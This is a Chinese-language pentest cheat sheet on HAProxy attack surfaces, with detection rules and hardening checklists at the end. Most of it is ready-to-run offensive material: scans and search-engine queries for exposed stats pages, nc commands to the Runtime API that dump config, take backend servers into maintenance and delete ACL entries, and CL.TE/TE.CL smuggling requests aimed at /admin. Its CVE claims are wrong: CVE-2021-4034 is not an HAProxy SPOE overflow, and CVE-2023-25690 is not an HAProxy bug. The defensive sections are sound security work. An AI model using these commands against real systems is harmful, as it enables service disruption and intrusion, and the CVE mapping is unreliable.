HAProxy Stats Page / Admin Interface / Request Smuggling / CVE 漏洞链利用技术

┌───────────────────────────────────────────────────────────────┐
│                    HAProxy 攻击面                               │
│                                                               │
│  ┌──────────────┐    ┌──────────────┐    ┌──────────────┐    │
│  │ HTTP Frontend│    │ Stats Page   │    │ Runtime API  │    │
│  │ :80/:443     │    │ :8404        │    │ :9999/Socket │    │
│  │ 请求代理/走私│    │ 信息泄露     │    │ 管理面接管    │    │
│  └──────┬───────┘    └──────┬───────┘    └──────┬───────┘    │
│         │                   │                    │            │
│  ┌──────┴───────────────────┴────────────────────┴─────────┐ │
│  │              后端服务器集群                                │ │
│  │                                                          │ │
│  │  攻击路径：                                               │ │
│  │  ① Stats Page → 后端拓扑/服务器状态/健康检查泄露           │ │
│  │  ② Runtime API → 服务上下线/ACL 修改/配置泄露              │ │
│  │  ③ HTTP 请求走私 → 绕过前端安全控制                        │ │
│  │  ④ CVE-2023-25690 → HTTP 请求走私                        │ │
│  │  ⑤ CVE-2021-4034 → SPOE 堆溢出 RCE                      │ │
│  └──────────────────────────────────────────────────────────┘ │
│                                                               │
│  默认风险：                                                    │
│  • Stats Page 可能无认证或弱认证                                │
│  • Runtime API 可能绑定到 TCP 端口                              │
│  • HTTP/2 降级可能导致请求走私                                  │
│  • SPOE 协议处理存在堆溢出风险                                  │
└───────────────────────────────────────────────────────────────┘

nmap -sV -p 80,443,8404,9999 \
  --script=http-title \
  -oN haproxy_scan.txt <target>

PORT     STATE SERVICE     VERSION
80/tcp   open  http        HAProxy http proxy
443/tcp  open  https       HAProxy http proxy
8404/tcp open  http        HAProxy Stats Page

# Stats Page 访问
curl -s "http://target:8404/;csv"

# 响应示例（CSV 格式统计信息）
# pxname,svname,qcur,qmax,scur,smax,slim,stot,bin,bout,dreq,dresp,ereq,econ,eresp,...
frontend,FRONTEND,,,0,1,2000,0,0,0,0,0,0,,,,,OPEN,,,,,,,,,1,HTTP,0,0,0,0,...
backend,web_servers,BACKEND,0,0,0,0,200,0,0,0,0,,0,0,0,UP,0,0,0,,0,0,0,,0,,0,0,0,0,...

# JSON 格式
curl -s "http://target:8404/;json" | python3 -m json.tool

# 获取 HAProxy 版本
curl -s "http://target:8404/" | grep -i "version"

# Shodan
http.html:"HAProxy"
port:8404 http.title:"HAProxy Statistics"

# FOFA
body="HAProxy" && port="8404"
body="stats" && body="haproxy"

# 访问 Stats Page
curl -s "http://target:8404/haproxy?stats"

# 常见路径
# /haproxy?stats
# /stats
# /;csv
# /;json

# 获取 CSV 格式统计
curl -s "http://target:8404/;csv" | column -t -s ','

# 解析后端服务器信息
curl -s "http://target:8404/;csv" | \
  python3 -c "
import sys, csv
reader = csv.DictReader(sys.stdin)
for row in reader:
    if row['svname'] not in ['FRONTEND', 'BACKEND']:
        print(f\"{row['pxname']} | {row['svname']} | {row['addr']} | {row['status']} | {row['scur']}/{row['smax']}\")
"

# 通过 Unix Socket 访问 Runtime API
echo "show info" | socat stdio unix-connect:/var/run/haproxy.sock

# 响应示例
Name: HAProxy
Version: 2.8.0
Release date: 2023/06/15
Nbproc: 1
Process_num: 1
Pid: 12345
Uptime: 1d 2h 3m 4s

# 如果 Runtime API 绑定到 TCP 端口
echo "show info" | nc target 9999

# 显示统计信息
echo "show stat" | nc target 9999

# 显示会话信息
echo "show sess" | nc target 9999

# 显示后端服务器
echo "show servers state" | nc target 9999

# 下线后端服务器
echo "set server backend/web1 state maint" | nc target 9999
echo "set server backend/web1 state drain" | nc target 9999

# 修改服务器权重
echo "set server backend/web1 weight 100" | nc target 9999

# 清除 ACL
echo "del acl blacklist 192.168.1.100" | nc target 9999

# 添加 ACL
echo "add acl blacklist 10.0.0.1" | nc target 9999

POST / HTTP/1.1
Host: target
Content-Length: 47
Transfer-Encoding: chunked

0

GET /admin HTTP/1.1
Host: target
Foo: bar

POST / HTTP/1.1
Host: target
Content-Length: 4
Transfer-Encoding: chunked

5c
GET /admin HTTP/1.1
Host: target
Foo: bar

0

# HTTP/2 到 HTTP/1.1 降级时可能触发走私
# 使用 h2c 升级
curl -s --http2 "http://target/" \
  -H "Content-Length: 0" \
  -H "Transfer-Encoding: chunked"

# SPOE 协议堆溢出 POC
# 发送精心构造的 SPOE 帧触发堆溢出
# 需要 SPOE 功能启用

# 步骤 1：从 Stats Page 获取后端服务器信息
curl -s "http://target:8404/;csv" | grep -v "^#"

# 步骤 2：直接访问后端服务器（绕过 HAProxy）
# 如果后端服务器未做访问控制
curl -s "http://backend-server:8080/admin"

# 通过请求走私将恶意响应注入缓存
# 步骤 1：构造走私请求
# 步骤 2：目标 CDN/代理缓存恶意响应
# 步骤 3：其他用户获取缓存的恶意内容

# 通过 Runtime API 获取完整配置
echo "show cfg" | nc target 9999

# 获取 SSL 证书信息
echo "show ssl cert" | nc target 9999

title: HAProxy Stats Page 外部访问检测
id: haproxy-stats-external-access
status: experimental
description: 检测来自非内网段的 HAProxy Stats Page 访问
logsource:
  category: firewall
detection:
  selection:
    dst_port:
      - 8404
    src_ip|not:
      - "10.0.0.0/8"
      - "172.16.0.0/12"
      - "192.168.0.0/16"
  condition: selection
level: high

title: HAProxy HTTP 请求走私检测
id: haproxy-request-smuggling
status: experimental
description: 检测 HAProxy HTTP 请求走私攻击特征
logsource:
  product: haproxy
  service: frontend
detection:
  selection_cl_te:
    headers|contains:
      - "Content-Length"
      - "Transfer-Encoding"
    body|contains:
      - "0\r\n\r\n"
  selection_suspicious:
    body|contains:
      - "GET /admin"
      - "POST /login"
      - "X-Forwarded-For: 127.0.0.1"
  condition: selection_cl_te or selection_suspicious
level: critical

# 监控 Stats Page 访问
grep "/haproxy?stats\|/;csv\|/;json" /var/log/haproxy.log

# 监控 Runtime API 操作
grep -E "(show info|show stat|set server|del acl|add acl)" /var/log/haproxy.log

# 检测请求走私特征
grep -E "(Content-Length.*Transfer-Encoding|Transfer-Encoding.*Content-Length)" /var/log/haproxy.log

# 监控异常后端访问
grep -E "(503|504|400)" /var/log/haproxy.log | head -50

[ ] 升级至 HAProxy >= 2.6.7 / 2.4.22 / 2.2.28 / 2.0.31（修复 CVE-2023-25690）
[ ] Stats Page 仅允许内网访问或启用认证：
    stats auth admin:strong_password
[ ] Runtime API Unix Socket 权限限制（仅 haproxy 用户可访问）
[ ] 禁用 Runtime API TCP 绑定或限制访问源
[ ] 配置 HTTP/2 严格模式防止降级走私
[ ] 禁用 SPOE 或升级至修复版本（CVE-2021-4034）
[ ] 配置前端和后端一致的 Content-Length/Transfer-Encoding 处理
[ ] 在前面放置 WAF 检测请求走私
[ ] 启用审计日志并接入 SIEM
[ ] 监控 Stats Page 和 Runtime API 异常访问
[ ] 定期审查后端服务器拓扑和 ACL 配置
[ ] 配置后端服务器直接访问控制（不依赖 HAProxy）

[ ] 端口扫描：80, 443, 8404, 9999
[ ] Stats Page (8404) 未授权访问测试
[ ] Stats Page CSV/JSON 数据提取测试
[ ] Runtime API (9999/Unix Socket) 访问测试
[ ] Runtime API 管理操作测试（show info/set server）
[ ] HTTP 请求走私测试（CL.TE / TE.CL）
[ ] HTTP/2 降级走私测试
[ ] CVE-2023-25690 请求走私测试
[ ] CVE-2021-4034 SPOE 堆溢出测试
[ ] 后端服务器直接访问测试（绕过 HAProxy）
[ ] 缓存投毒测试（通过请求走私）
[ ] 认证配置检查
[ ] TLS/SSL 配置检查
[ ] HTTP/2 配置检查